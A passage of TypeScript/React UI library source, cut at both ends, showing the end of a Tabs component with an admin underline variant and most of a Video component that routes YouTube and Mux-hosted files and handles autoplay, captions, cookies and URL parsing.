(see {@link TabsList}).\n */\nconst Tabs = TabsPrimitive.Root\n\nexport type TabsVariant = 'default' | 'admin-rail'\n\nconst TABS_LIST_BASE =\n  \"inline-flex h-10 items-center justify-center rounded-md bg-muted p-1 text-muted-foreground\"\n\n/**\n * The admin underline-tab styling, baked in as a variant so call sites never\n * stack these classes themselves: transparent list on a bordered, scrollable\n * rail; accent underline on the active trigger; secondary → primary text on\n * hover. Set `variant=\"admin-rail\"` on BOTH `TabsList` and each `TabsTrigger`.\n */\nconst tabsListVariantClasses: Record<TabsVariant, string> = {\n  default: TABS_LIST_BASE,\n  // Applied ON TOP of the base (cn resolves the conflicts) so the variant\n  // renders exactly what admin call sites produced by stacking these classes.\n  'admin-rail': cn(TABS_LIST_BASE, 'inline-flex justify-start rounded-none bg-transparent h-auto p-0'),\n}\n\nconst TABS_TRIGGER_BASE =\n  \"inline-flex items-center justify-center whitespace-nowrap rounded-sm px-3 py-1.5 text-h6 ring-offset-background transition-all focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:bg-background data-[state=active]:text-foreground data-[state=active]:shadow-sm\"\n\nconst tabsTriggerVariantClasses: Record<TabsVariant, string> = {\n  default: TABS_TRIGGER_BASE,\n  'admin-rail': cn(\n    TABS_TRIGGER_BASE,\n    'rounded-none border-b-2 border-transparent',\n    'data-[state=active]:border-ods-accent data-[state=active]:bg-transparent',\n    'px-[var(--spacing-system-l)] py-[var(--spacing-system-sf)] text-h4 whitespace-nowrap',\n    'text-ods-text-secondary data-[state=active]:text-ods-text-primary',\n    'hover:text-ods-text-primary transition-colors',\n    // Disabled tabs stay visible but inert.\n    'disabled:opacity-40 disabled:cursor-not-allowed disabled:hover:text-ods-text-secondary',\n  ),\n}\n\n/** The bordered rail `admin-rail` lists sit on, scrollable when tabs overflow. */\nconst ADMIN_RAIL_WRAPPER_CLASS = 'w-full border-b border-ods-border overflow-x-auto'\n\ninterface TabsListProps\n  extends React.ComponentPropsWithoutRef<typeof TabsPrimitive.List> {\n  /**\n   * `admin-rail` renders the ODS underline-tab list AND wraps it in the\n   * bordered, horizontally-scrollable rail — no extra wrapper div needed at\n   * the call site.\n   */\n  variant?: TabsVariant\n}\n\n/** @deprecated for `variant=\"default\"` — use `TabNavigation`. `variant=\"admin-rail\"` is the sanctioned admin tabs styling. See {@link Tabs}. */\nconst TabsList = React.forwardRef<\n  React.ElementRef<typeof TabsPrimitive.List>,\n  TabsListProps\n>(({ className, variant = 'default', ...props }, ref) => {\n  const list = (\n    <TabsPrimitive.List\n      ref={ref}\n      className={cn(tabsListVariantClasses[variant], className)}\n      {...props}\n    />\n  )\n  if (variant === 'admin-rail') {\n    return <div className={ADMIN_RAIL_WRAPPER_CLASS}>{list}</div>\n  }\n  return list\n})\nTabsList.displayName = TabsPrimitive.List.displayName\n\ninterface TabsTriggerProps\n  extends React.ComponentPropsWithoutRef<typeof TabsPrimitive.Trigger> {\n  /** Match the `variant` set on the surrounding `TabsList`. */\n  variant?: TabsVariant\n}\n\n/** @deprecated for `variant=\"default\"` — use `TabNavigation`. `variant=\"admin-rail\"` is the sanctioned admin tabs styling. See {@link Tabs}. */\nconst TabsTrigger = React.forwardRef<\n  React.ElementRef<typeof TabsPrimitive.Trigger>,\n  TabsTriggerProps\n>(({ className, variant = 'default', ...props }, ref) => (\n  <TabsPrimitive.Trigger\n    ref={ref}\n    className={cn(tabsTriggerVariantClasses[variant], className)}\n    {...props}\n  />\n))\nTabsTrigger.displayName = TabsPrimitive.Trigger.displayName\n\n/** @deprecated Use `TabNavigation` from `components/ui/tab-navigation`. See {@link Tabs}. */\nconst TabsContent = React.forwardRef<\n  React.ElementRef<typeof TabsPrimitive.Content>,\n  React.ComponentPropsWithoutRef<typeof TabsPrimitive.Content>\n>(({ className, ...props }, ref) => (\n  <TabsPrimitive.Content\n    ref={ref}\n    className={cn(\n      \"mt-2 ring-offset-background focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2\",\n      className\n    )}\n    {...props}\n  />\n))\nTabsContent.displayName = TabsPrimitive.Content.displayName\n\nexport { Tabs, TabsList, TabsTrigger, TabsContent }\n","\"use client\";\n\n/**\n * <Video> — single source of truth for every public video surface\n * across every Flamingo platform consumer of this lib.\n *\n * One component, three sources, three layouts. Replaces and deletes\n * the previous lib primitives:\n *\n *   - `<VideoPlayer>`  (react-player wrapper, ~900 LOC custom controls)\n *   - `<YouTubeEmbed>` (separate lite-youtube facade)\n *\n * Routing (`kind` discriminant, default `'auto'`):\n *\n *   kind=\"youtube\"  → inline lite-youtube facade (poster + click→iframe)\n *   kind=\"file\"     → <MuxPlayer> (HLS + MP4 + Mux Data + CMCD all in one)\n *   kind=\"auto\"     → strict URL parse:\n *                        bare 11-char id   → youtube\n *                        YouTube hostname  → youtube\n *                        anything else     → file\n *\n * `<MuxPlayer>` handles both `.m3u8` (HLS via hls.js, native on Safari)\n * AND plain `.mp4` (uses the underlying `<video>` element). One component,\n * both paths — no internal \"HLS vs MP4\" branch needed. Captions are\n * rendered as native `<track>` children when `captionsUrl` is passed.\n *\n * Layouts:\n *   layout=\"centered\" → max-w-3xl centered wrapper. Detail-page surface.\n *   layout=\"fill\"     → absolute inset-0 w-full h-full. Carousel slides.\n *   layout=\"native\"   → intrinsic aspect ratio. Bites grid, blog cards.\n */\n\nimport React, { useCallback, useEffect, useImperativeHandle, useMemo, useRef, useState } from 'react';\nimport MuxPlayer from '@mux/mux-player-react';\nimport { VideoPlayBadge, VideoUnmuteGlyph } from './video-center-badge';\nimport { fetchPriorityProp } from '../../utils/fetch-priority';\nimport { useIosNativeVideoFullscreen } from './use-ios-native-video-fullscreen';\nimport { saveDataEnabled } from './use-video-warmup';\nimport { useAuthedAssetSrc } from '../../hooks/use-authed-asset-src';\n\n// =============================================================================\n// Dev-only hover→playing latency instrumentation gate. Always on in dev\n// builds; opt-in in production via `localStorage.VIDEO_PERF_DEBUG` so an\n// \"instant hover\" regression can be measured on a live deployment.\n// =============================================================================\nfunction videoPerfDebugEnabled(): boolean {\n  if (process.env.NODE_ENV !== 'production') return true;\n  try {\n    return typeof localStorage !== 'undefined' && localStorage.getItem('VIDEO_PERF_DEBUG') !== null;\n  } catch {\n    return false;\n  }\n}\n\n// =============================================================================\n// Mux viewer identity without a cookie\n// =============================================================================\n//\n// Mux Data keeps `mux_viewer_id` (stable viewer) and a rolling session id in a\n// `muxData` cookie, 365-day expiry. That cookie rides on EVERY request to the\n// origin, and its punctuation trips Cloud Armor's restricted-SQL-character\n// cookie counters (CRS 942420/942421) — 245 preview-DENY events in a 6-hour\n// census. `disableCookies` alone stops the beacons carrying any viewer id at\n// all (`viewerData = disableCookies ? {} : Ae()` in mux-embed), which would\n// turn every page load into a new \"unique viewer\".\n//\n// So we keep the identity and drop the cookie: the id lives in localStorage and\n// is handed to Mux as `metadata.viewer_user_id`. No coverage is lost — Mux's\n// cookie is host-only (`Cookies.set` with `{path:'/'}` and no `domain`), and\n// localStorage is origin-scoped, so the two cover exactly the same surface.\n//\n// What does NOT come back: `session_id`/`session_start`, which group views into\n// a 25-minute session — mux-embed derives those internally and exposes no way\n// to supply them. Per-view metrics, QoE and viewer counts are unaffected.\n// `mux_sample_number` is also dropped, which is harmless at the default\n// `sampleRate: 1` (the beacon check is `(sample ?? 0) >= sampleRate`).\nconst MUX_VIEWER_ID_KEY = 'mux:viewer_id';\n\nfunction muxViewerId(): string | undefined {\n  try {\n    if (typeof localStorage === 'undefined') return undefined;\n    const existing = localStorage.getItem(MUX_VIEWER_ID_KEY);\n    if (existing) return existing;\n    const generated =\n      typeof crypto !== 'undefined' && typeof crypto.randomUUID === 'function'\n        ? crypto.randomUUID()\n        : `${Date.now().toString(36)}-${Math.random().toString(36).slice(2, 10)}`;\n    localStorage.setItem(MUX_VIEWER_ID_KEY, generated);\n    return generated;\n  } catch {\n    // Private mode / storage disabled — Mux falls back to per-view identity.\n    return undefined;\n  }\n}\n\n// One-time removal of the legacy `muxData` cookie. `disableCookies` stops NEW\n// writes but never clears what was already issued, and at 365 days those\n// browsers would keep tripping 942420/942421 for a year. Module-level so it runs\n// on import, before any player mounts. Host-only, so no `domain` attribute —\n// that is what Mux set. Remove this once the census reads zero.\nif (typeof document !== 'undefined') {\n  try {\n    document.cookie = 'muxData=; path=/; max-age=0';\n  } catch {\n    // Non-blocking: a failed cleanup only means the census decays slower.\n  }\n}\n\n// =============================================================================\n// Suppress Google Cast SDK loading (CSP-friendly)\n// =============================================================================\n//\n// Why: MuxPlayer is built on `media-chrome`, which is built on `castable-video`.\n// `castable-video`'s `loadCastFramework()` UNCONDITIONALLY injects a\n// `<script src=\"https://www.gstatic.com/cv/.../cast_sender.js?loadCastFramework=1\">`\n// whenever Chrome is detected. That script then internally loads further\n// scripts from `http://www.gstatic.com/eureka/clank/...` and\n// `http://www.gstatic.com/cast/sdk/libs/...` — over **HTTP, not HTTPS** —\n// which can never pass any reasonable CSP. Result: every video render\n// emits 3+ \"Loading the script ... violates CSP\" errors in the browser\n// console.\n//\n// The loader has a single early-exit: `if (globalThis.chrome?.cast)\n// return;`. So we make `chrome.cast` truthy (with `isAvailable: false`\n// so existing apps that consult that flag still see \"no cast\") BEFORE\n// MuxPlayer's `castable-mixin` runs. Module-level code in this file\n// executes during the import that brings `MuxPlayer` into the bundle —\n// safely before any instance mounts.\n//\n// We don't use Chromecast anywhere in the hub. If we ever do, replace\n// this block with explicit cast initialization at the call site.\nif (typeof window !== 'undefined') {\n  const w = window as unknown as { chrome?: { cast?: unknown } };\n  if (!w.chrome?.cast) {\n    w.chrome = { ...(w.chrome ?? {}), cast: { isAvailable: false } };\n  }\n}\n\n// =============================================================================\n// Suppress benign \"Media Chrome: No style sheet found ...\" warning.\n// =============================================================================\n//\n// Why: MuxPlayer's UI is built on `media-chrome`, which uses custom\n// elements with shadow-DOM `<style>` tags. `media-chrome`'s internal\n// `insertCSSRule()` helper queries `style.sheet` during the element's\n// `connectedCallback`. When the player mounts inside a React portal\n// (the chat panel renders `<Video>` inside Radix's `<Dialog.Portal>`),\n// the element is moved across DOM trees BEFORE the browser hydrates\n// the shadow `<style>`'s `.sheet`. The helper then logs:\n//   \"Media Chrome: No style sheet found on style tag of #shadow-root (open)\"\n// and returns a no-op style shim. The warning is purely cosmetic —\n// playback, controls, and theming all render correctly because the\n// shadow stylesheet does hydrate on the next paint.\n//\n// Until upstream `media-chrome` either retries on the next microtask\n// or downgrades the warning (tracked in their issue tracker), patch\n// `console.warn` once at module load to drop only THIS exact string.\n// All other `console.warn` calls pass through unchanged.\n//\n// Why patch instead of opting out: `@mux/mux-player-react` exposes no\n// prop to disable internal style queries, importing CSS explicitly\n// doesn't seed the shadow-root stylesheets (they're per-element), and\n// the warning fires before any consumer can intercept the element.\nif (typeof window !== 'undefined' && typeof console !== 'undefined') {\n  const w = window as unknown as { __MEDIA_CHROME_WARN_PATCHED__?: boolean };\n  if (!w.__MEDIA_CHROME_WARN_PATCHED__) {\n    w.__MEDIA_CHROME_WARN_PATCHED__ = true;\n    const MEDIA_CHROME_NO_STYLESHEET_PREFIX = 'Media Chrome: No style sheet found on style tag of';\n    const originalWarn = console.warn.bind(console);\n    console.warn = (...args: unknown[]): void => {\n      if (typeof args[0] === 'string' && args[0].startsWith(MEDIA_CHROME_NO_STYLESHEET_PREFIX)) {\n        return;\n      }\n      originalWarn(...args);\n    };\n  }\n}\n\n// =============================================================================\n// User-activation tracker (module scope) — Chrome's autoplay policy rejects\n// UNMUTED play() until the user has interacted with the page (click/keydown;\n// pointer MOVEMENT does not count). Hover-preview surfaces use this to pick\n// the right first move (sound vs muted) WITHOUT a rejection round-trip, and\n// to unmute a live muted preview the instant the first gesture lands.\n// =============================================================================\n\nlet userHasInteracted = false;\nconst activationWaiters = new Set<() => void>();\nif (typeof window !== 'undefined') {\n  const w = window as unknown as { __VIDEO_ACTIVATION_TRACKED__?: boolean };\n  if (!w.__VIDEO_ACTIVATION_TRACKED__) {\n    w.__VIDEO_ACTIVATION_TRACKED__ = true;\n    const markActivated = () => {\n      userHasInteracted = true;\n      activationWaiters.forEach(fn => { try { fn(); } catch { /* ignore */ } });\n      activationWaiters.clear();\n      window.removeEventListener('pointerdown', markActivated, true);\n      window.removeEventListener('keydown', markActivated, true);\n    };\n    window.addEventListener('pointerdown', markActivated, true);\n    window.addEventListener('keydown', markActivated, true);\n  }\n}\n\n// =============================================================================\n// URL classifiers (private — `<Video>` is the only consumer)\n// =============================================================================\n\nconst YT_HOSTS = new Set([\n  'youtube.com', 'www.youtube.com', 'm.youtube.com',\n  'youtu.be',\n  'youtube-nocookie.com', 'www.youtube-nocookie.com',\n]);\n\n/** Strict YouTube URL detection — parses the URL and checks the hostname. */\nfunction isYouTubeUrl(url: string): boolean {\n  try {\n    return YT_HOSTS.has(new URL(url, 'http://placeholder.local').hostname.toLowerCase());\n  } catch {\n    return false;\n  }\n}\n\n// `youtube.com/(embed|v|shorts)/<id>` — anchored, no `.*`, ReDoS-safe.\nconst YT_PATH_RE = /^\\/(?:embed|v|shorts)\\/([^/]+)\\/?$/;\n\n// Bare 11-char YouTube id — base62 alphabet `[A-Za-z0-9_-]`.\n// Anchored, no `.*`, ReDoS-safe; rejects anything that contains `/` or `:`.\nconst BARE_YT_ID_RE = /^[A-Za-z0-9_-]{11}$/;\n\n/**\n * Extract the YouTube video id from any common URL shape OR from a\n * bare 11-char id (carousels and some admin shapes pass that form\n * directly).\n *\n * Uses strict `URL` parsing + an anchored pathname regex — NOT the\n * legacy `.*v=` pattern that CodeQL flagged for polynomial-time\n * backtracking on adversarial input like `youtube.com/watch?`\n * repeated N times. Bare-id fallback uses an anchored character-class\n * regex so it can never ReDoS either.\n *\n * Exported so admin tooling and carousel thumbnail logic can validate\n * a URL without rendering the full `<Video>` component.\n */\nexport function extractYouTubeId(url: string): string | null {\n  if (!url) return null;\n  // Bare-id form first — `new URL('dQw4w9WgXcQ')` throws, so this MUST\n  // run before the URL parse. The 11-char anchored regex rejects URLs\n  // (which always contain `:` or `/`).\n  if (BARE_YT_ID_RE.test(url)) return url;\n  let u: URL;\n  // Match `isYouTubeUrl`'s relative-safe parsing — a base URL with a\n  // placeholder origin lets us handle protocol-relative inputs (`//youtube.com/...`)\n  // and protocol-less inputs (`youtube.com/...`) without throwing.\n  try { u = new URL(url, 'http://placeholder.local'); } catch { return null; }\n  if (!YT_HOSTS.has(u.hostname.toLowerCase())) return null;\n  // `youtu.be/<id>` — id is the first non-empty path segment.\n  if (u.hostname.toLowerCase().endsWith('youtu.be')) {\n    return u.pathname.split('/').filter(Boolean)[0] ?? null;\n  }\n  // `youtube.com/watch?v=<id>` — query parameter.\n  const v = u.searchParams.get('v');\n  if (v) return v;\n  // `youtube.com/(embed|v|shorts)/<id>` — anchored pathname match.\n  const m = u.pathname.match(YT_PATH_RE);\n  return m ? m[1] : null;\n}\n\n// =============================================================================\n// Props\n// =============================================================================\n\nexport type VideoLayout = 'centered' | 'fill' | 'native' | 'wide';\n\n/**\n * Imperative snapshot/control handle for playback-handoff surfaces (the\n * floating walkthrough widget's mini-player continuation). Getters power\n * close-time snapshots; the mutators let a close/reopen gesture drive the\n * player without remounting. `getDuration` exists so an \"ended\" predicate\n * (`duration - time < 1s`) is evaluable at close time.\n */\nexport interface VideoPlayerHandle {\n  getCurrentTime(): number;\n  getDuration(): number;\n  getPaused(): boolean;\n  getMuted(): boolean;\n  play(): Promise<void>;\n  pause(): void;\n  setMuted(muted: boolean): void;\n}\n\n/** Muted-fallback state reported to hosts that own their own unmute control\n *  (`onMutedFallbackChange`). `blocked` is true when even the muted play()\n *  retry was rejected (iOS Low Power Mode) — the host's control is really\n *  a \"play\" affordance in that state, not an \"unmute\" one. */\nexport interface VideoMutedFallbackState {\n  muted: boolean;\n  blocked: boolean;\n}\n\ninterface VideoCommonProps {\n  /** Layout wrapper. Detail pages pass `\"centered\"`. Default `\"native\"`. */\n  layout?: VideoLayout;\n  /** Poster / thumbnail. */\n  poster?: string | null;\n  /** Mute by default — for autoplay carousels. */\n  muted?: boolean;\n  /** LCP hint — YouTube facade poster gets `fetchpriority=\"high\"`. */\n  priority?: boolean;\n  /** Tailwind classes applied to the underlying player root. */\n  className?: string;\n  /** Accessible label (used as YT facade title; ignored for file branch). */\n  title?: string;\n  /**\n   * YouTube-only: hide YT player chrome (controls, info, fullscreen, related\n   * videos, keyboard shortcuts). Used for marketing/landing-page embeds that\n   * want a minimal look. No-op for file (MP4/HLS) branches.\n   */\n  minimalControls?: boolean;\n}\n\n/**\n * File-playback options. Declared ONCE and mixed into the public prop unions\n * AND the internal player, because these were hand-copied into four places and\n * every new prop had to be added to all of them (18 props x 4 sites before this\n * collapse). The dispatcher forwards them with a spread, so a prop added here\n * reaches FilePlayer for free.\n */\ninterface VideoFilePlaybackProps {\n  /**\n   * SRT raw content. Deprecated: pass `captionsUrl` (VTT) instead.\n   * Native `<track>` requires a URL; raw SRT can't be rendered without\n   * a custom overlay. Setting this without `captionsUrl` is a no-op\n   * with a dev warning.\n   */\n  srtContent?: string | null;\n  /** HTTPS URL to a VTT captions file. Rendered as a native `<track>`. */\n  captionsUrl?: string | null;\n  /** Autoplay muted on mount (forwarded as MuxPlayer `autoPlay=\"muted\"`). */\n  autoPlay?: boolean;\n  /** Loop playback — short bite previews. */\n  loop?: boolean;\n  /** Hide all player chrome (MuxPlayer `--controls: none`). */\n  chromeless?: boolean;\n  /** Play while the pointer hovers, pause on leave. Tries WITH sound at 50%\n   *  first; falls back to muted when autoplay policy rejects unmuted. */\n  playOnHover?: boolean;\n  /** CONTROLLED variant of playOnHover: the host owns the hover state. */\n  playWhenHovered?: boolean;\n  /** Media preload hint. When omitted the SSOT default applies. */\n  preload?: 'none' | 'metadata' | 'auto';\n  /** object-fit for the media element. */\n  fit?: 'contain' | 'cover';\n  /** Start position in seconds (applied at LOAD time). */\n  startTime?: number;\n  /** Imperative handle for snapshot/control (mini-player continuation). */\n  playerHandleRef?: React.Ref<VideoPlayerHandle>;\n  /** Attempt UNMUTED autoplay on mount; falls back to muted on rejection. */\n  autoPlayUnmuted?: boolean;\n  /** Arm the muted-fallback state (host renders its own unmute affordance). */\n  startMuted?: boolean;\n  /** Host's standing mute intent — hover playback must not override it. */\n  mutedIntent?: boolean;\n  /** Suppress the INTERNAL center unmute glyph. Hosts whose own overlay\n   *  button sits above the media render their own reachable control. */\n  hideMutedBadge?: boolean;\n  /** Reports muted-fallback state changes — see `VideoMutedFallbackState`. */\n  onMutedFallbackChange?: (state: VideoMutedFallbackState) => void;\n  /** Fired on the media element's `ended` event. */\n  onEnded?: () => void;\n}\n\n/** The keys above, for the dispatcher's spread. `satisfies` rejects an EXTRA\n *  or misspelled key; the assertion below rejects a MISSING one (which would\n *  otherwise compile fine and silently stop forwarding that prop). */\nconst VIDEO_FILE_PLAYBACK_KEYS = [\n  'srtContent', 'captionsUrl', 'autoPlay', 'loop', 'chromeless', 'playOnHover',\n  'playWhenHovered', 'preload', 'fit', 'startTime', 'playerHandleRef',\n  'autoPlayUnmuted', 'startMuted', 'mutedIntent', 'hideMutedBadge',\n  'onMutedFallbackChange', 'onEnded',\n] as const satisfies readonly (keyof VideoFilePlaybackProps)[];\n\n/** Build-time proof that a key list covers EVERY key of its interface — the\n *  `satisfies` on the list itself only rejects extra/misspelled keys, so\n *  without this a newly added prop compiles fine and silently stops being\n *  forwarded. Instantiate once per (interface, key-list) pair. */\ntype AllKeysForwarded<TProps, TKeys extends readonly (keyof TProps)[]> =\n  Exclude<keyof TProps, TKeys[number]> extends never ? true : never;\n\n/** Copy only the declared keys that are actually PRESENT on the union member,\n *  so an absent optional prop stays absent rather than becoming `undefined`. */\nfunction pickForwardedKeys<TProps>(\n  props: VideoProps,\n  keys: readonly (keyof TProps)[],\n): TProps {\n  const out: Record<string, unknown> = {};\n  for (const k of keys) {\n    if ((k as string) in props) out[k as string] = (props as unknown as Record<string, unknown>)[k as string];\n  }\n  return out as TProps;\n}\n\nconst _filePlaybackForwarded: AllKeysForwarded<VideoFilePlaybackProps, typeof VIDEO_FILE_PLAYBACK_KEYS> = true;\nvoid _filePlaybackForwarded;\n\nconst pickFilePlayback = (props: VideoProps): VideoFilePlaybackProps =>\n  pickForwardedKeys<VideoFilePlaybackProps>(props, VIDEO_FILE_PLAYBACK_KEYS);\n\ninterface VideoFileProps extends VideoCommonProps, VideoFilePlaybackProps {\n  kind: 'file';\n  url: string;\n  firstFrameOnly?: boolean;\n}\n\n/** YouTube-facade behavior props, declared ONCE and reused by every layer that\n *  forwards them (the two union members, the facade, its inner). Same reason as\n *  `VideoFilePlaybackProps`: four hand-kept copies drift silently. */\ninterface VideoYouTubeFacadeProps {\n  /** Activate the facade (mount the iframe) immediately — for surfaces whose\n   *  opening interaction IS the play gesture (the walkthrough theater). The\n   *  embed URL already carries `autoplay=1`. */\n  autoActivate?: boolean;\n  /** Edge-triggered pause signal: when this flips false→true while activated,\n   *  the facade posts a `pauseVideo` command over its existing\n   *  `enablejsapi=1` postMessage channel. Lets a closing dialog stop iframe\n   *  audio BEFORE the exit animation finishes unmounting it. */\n  suspended?: boolean;\n}\n\nconst VIDEO_YOUTUBE_FACADE_KEYS = [\n  'autoActivate', 'suspended',\n] as const satisfies readonly (keyof VideoYouTubeFacadeProps)[];\n\nconst _youTubeForwarded: AllKeysForwarded<VideoYouTubeFacadeProps, typeof VIDEO_YOUTUBE_FACADE_KEYS> = true;\nvoid _youTubeForwarded;\n\nconst pickYouTube = (props: VideoProps): VideoYouTubeFacadeProps =>\n  pickForwardedKeys<VideoYouTubeFacadeProps>(props, VIDEO_YOUTUBE_FACADE_KEYS);\n\ninterface VideoYouTubeProps extends VideoCommonProps, VideoYouTubeFacadeProps {\n  kind: 'youtube';\n  /** Either a full YT URL or just the video id. */\n  url: string;\n}\n\ninterface VideoAutoProps extends VideoCommonProps, VideoFilePlaybackProps, VideoYouTubeFacadeProps {\n  kind?: 'auto';\n  url: string;\n  firstFrameOnly?: boolean;\n}\n\nexport type VideoProps = VideoFileProps | VideoYouTubeProps | VideoAutoProps;\n\n// =============================================================================\n// Component\n// =============================================================================\n\nexport function Video(props: VideoProps): React.ReactElement | null {\n  const url = props.url;\n  if (!url) return null;\n\n  const effectiveKind = resolveKind(props, url);\n  const layout = props.layout ?? 'native';\n\n  const inner =\n    effectiveKind === 'youtube' ? (\n      <YouTubeFacade\n        url={url}\n        title={props.title}\n        priority={props.priority}\n        className={props.className}\n        minimalControls={props.minimalControls}\n        {...pickYouTube(props)}\n      />\n    ) : 'firstFrameOnly' in props && props.firstFrameOnly ? (\n      <FirstFramePreview\n        url={url}\n        poster={props.poster}\n        fit={'fit' in props ? props.fit : undefined}\n        className={props.className}\n      />\n    ) : (\n      <FilePlayer\n        url={url}\n        poster={props.poster}\n        muted={props.muted}\n        {...pickFilePlayback(props)}\n        className={props.className}\n      />\n    );\n\n  return wrapWithLayout(inner, layout);\n}\n\n// =============================================================================\n// Internals — never imported by call sites; `<Video>` is the only entry.\n// =============================================================================\n\n/**\n * Resolve the rendering branch. `'auto'` (or no `kind`) inspects the URL:\n * YouTube host (or a bare 11-char video id) → 'youtube', anything else →\n * 'file' (HLS / MP4 both handled by MuxPlayer). Type-safe — no `as` casts.\n */\nfunction resolveKind(props: VideoProps, url: string): 'youtube' | 'file' {\n  if ('kind' in props) {\n    if (props.kind === 'youtube') return 'youtube';\n    if (props.kind === 'file') return 'file';\n    // kind === 'auto' falls through to URL-based detection\n  }\n  // Bare 11-char YouTube id — use the same anchored regex as\n  // `extractYouTubeId` so both code paths agree on which strings are\n  // bare ids vs. URLs (avoids the regression where `videos/clip`\n  // length-11 strings were mis-routed to YouTube).\n  if (BARE_YT_ID_RE.test(url)) return 'youtube';\n  return isYouTubeUrl(url) ? 'youtube' : 'file';\n}\n\nfunction wrapWithLayout(\n  inner: React.ReactElement,\n  layout: VideoLayout,\n): React.ReactElement {\n  switch (layout) {\n    case 'centered':\n      // `aspect-video` (16:9) reserves the box from first paint so MuxPlayer\n      // doesn't flicker tiny→full while video metadata loads. Both branches\n      // are sized to fill 100% of this container (MuxPlayer via `style`,\n      // YouTube facade via internal `paddingBottom: 56.25%` which compounds\n      // harmlessly inside an already-16:9 box). `rounded-lg overflow-hidden\n      // border border-ods-border` is on the wrapper (not the inner) so BOTH\n      // branches end up with the same rounded card look — YouTube's facade\n      // also paints its own internal rounded-lg on the button + iframe,\n      // matching the outer radius (so the corners stay sharp through the\n      // poster → iframe transition); MuxPlayer renders flat and inherits\n      // the wrapper's rounded corners via `overflow-hidden` clipping.\n      return (\n        <div className=\"flex justify-center w-full\">\n          <div className=\"w-full max-w-3xl aspect-video rounded-lg overflow-hidden border border-ods-border\">{inner}</div>\n        </div>\n      );\n    case 'fill':\n      return <div className=\"absolute inset-0 w-full h-full\">{inner}</div>;\n    case 'wide':\n      // In-flow 16:9 at full width, no max-width cap. The theater surface:\n      // the video sizes the box (contributes height, unlike `fill`), and any\n      // following siblings (the AI summary in EntityVideoSection) flow beneath\n      // it. `max-w-3xl` (centered) would strand a small video in a wide dialog.\n      // `bg-ods-bg` (the darkest neutral surface) gives the theater a proper\n      // near-black video stage — letterbox bars and the pre-play frame read as\n      // a video player, not a gray card. Border dropped: a stage has no chrome.\n      return (\n        <div className=\"w-full aspect-video rounded-lg overflow-hidden bg-ods-bg\">{inner}</div>\n      );\n    case 'native':\n    default:\n      // `native` callers (blog cards etc.) are\n      // expected to provide their own aspect-ratio container so the layout\n      // primitive doesn't override portrait/square/landscape bites with 16:9.\n      return inner;\n  }\n}\n\n// -----------------------------------------------------------------------------\n// First-frame preview — the `firstFrameOnly` facade branch\n// -----------------------------------------------------------------------------\n\n/** First-frame paint through the SAME FilePlayer/MuxPlayer pipeline as\n *  playback (one rendering path for every file source — HLS included, which a\n *  plain `<video>` couldn't decode in Chromium): a chromeless, muted,\n *  metadata-only instance whose `#t=0.1` media fragment seeks-and-paints the\n *  first frame (also fixes iOS Safari, which stays blank on a fragmentless\n *  metadata load). The transparent media background keeps the box showing the\n *  card surface (never black) until the frame decodes. */\nfunction FirstFramePreview({\n  url,\n  poster,\n  fit,\n  className,\n}: {\n  url: string;\n  poster?: string | null;\n  fit?: 'contain' | 'cover';\n  className?: string;\n}): React.ReactElement {\n  return (\n    <div\n      aria-hidden\n      className=\"h-full w-full\"\n      style={{ '--media-background-color': 'transparent' } as React.CSSProperties}\n    >\n      {/* No explicit `preload` — inherits the SSOT default ('metadata',\n          'none' under Save-Data) so posterless facade cards honor the\n          Save-Data policy like every other surface. */}\n      <FilePlayer\n        url={`${url}#t=0.1`}\n        poster={poster}\n        fit={fit}\n        muted\n        chromeless\n        className={className}\n      />\n    </div>\n  );\n}\n\n// -----------------------------------------------------------------------------\n// File branch — MuxPlayer (handles both .m3u8 HLS and plain .mp4)\n// -----------------------------------------------------------------------------\n\ninterface FilePlayerProps extends VideoFilePlaybackProps {\n  url: string;\n  poster?: string | null;\n  muted?: boolean;\n  className?: string;\n}\n\nfunction FilePlayer({\n  url,\n  poster,\n  muted,\n  srtContent,\n  captionsUrl,\n  autoPlay,\n  loop,\n  chromeless,\n  playOnHover,\n  playWhenHovered,\n  preload,\n  fit,\n  startTime,\n  playerHandleRef,\n  autoPlayUnmuted,\n  startMuted,\n  mutedIntent = false,\n  hideMutedBadge,\n  onMutedFallbackChange,\n  onEnded,\n  className,\n}: FilePlayerProps): React.ReactElement {\n  // Explicit preload policy — never rely on the browser/MuxPlayer implicit\n  // default. 'metadata' makes playback-core load the manifest immediately\n  // and clamp buffering to maxBufferLength=1/maxBufferSize=1 (manifest +\n  // ~1 segment, then idle); play() restores full buffering automatically.\n  // That bounded prefetch is what makes hover/click start instant. Save-Data\n  // connections get 'none' (nothing until play()). SSR note: the server pass\n  // always emits 'metadata' (saveDataEnabled() is false server-side); for\n  // Save-Data users React reconciles the property to 'none' during hydration.\n  // The mux-player custom element upgrades from client JS, so the window for\n  // an early manifest fetch is at most one bounded manifest+segment — the\n  // Save-Data verification gate covers it (see plan A2.4).\n  const effectivePreload = preload ?? (saveDataEnabled() ? 'none' : 'metadata');\n  // THE captions seam. `<track src>` is a browser subresource: it carries no\n  // custom headers, so it authenticates by cookie only. Fine on the cookie-auth\n  // web, a guaranteed 401 on every HEADER-auth host — native shells and\n  // dev-ticket web — whose caption route sits behind the same proxied\n  // `/content/api/captions` path as every other embedded endpoint. Resolving it\n  // through `useAuthedAssetSrc` puts the track on the SAME single auth knob as\n  // every embedded `fetch` (adapter bearer + 401-refresh-retry), so a host\n  // configures `endpoints.captionsUrlPrefix` and nothing else — no per-surface,\n  // per-host caption plumbing. Cookie-auth hosts get the URL back untouched.\n  const resolvedCaptionsUrl = useAuthedAssetSrc(captionsUrl, 'text/vtt, */*');\n  // True while hover playback is running MUTED because the browser's autoplay\n  // policy blocked sound (no user activation yet). Drives the center unmute\n  // control — the industry pattern (muted autoplay + explicit unmute button)\n  // instead of silently waiting for a click somewhere.\n  const [hoverMutedFallback, setHoverMutedFallback] = useState(false);\n  // playOnHover drives the underlying mux-player element imperatively — the\n  // element exposes native play()/pause()/muted/volume; the chrome stays as\n  // configured. Sound-first: volume 0.5 unmuted, muted fallback when the\n  // browser's autoplay policy rejects unmuted hover playback (hover is not a\n  // user gesture in Chrome's activation model).\n  const hoverPlayerRef = useRef<{\n    play?: () => Promise<void> | void;\n    pause?: () => void;\n    muted?: boolean;\n    volume?: number;\n    currentTime?: number;\n    duration?: number;\n    paused?: boolean;\n    addEventListener?: (type: string, listener: () => void) => void;\n    removeEventListener?: (type: string, listener: 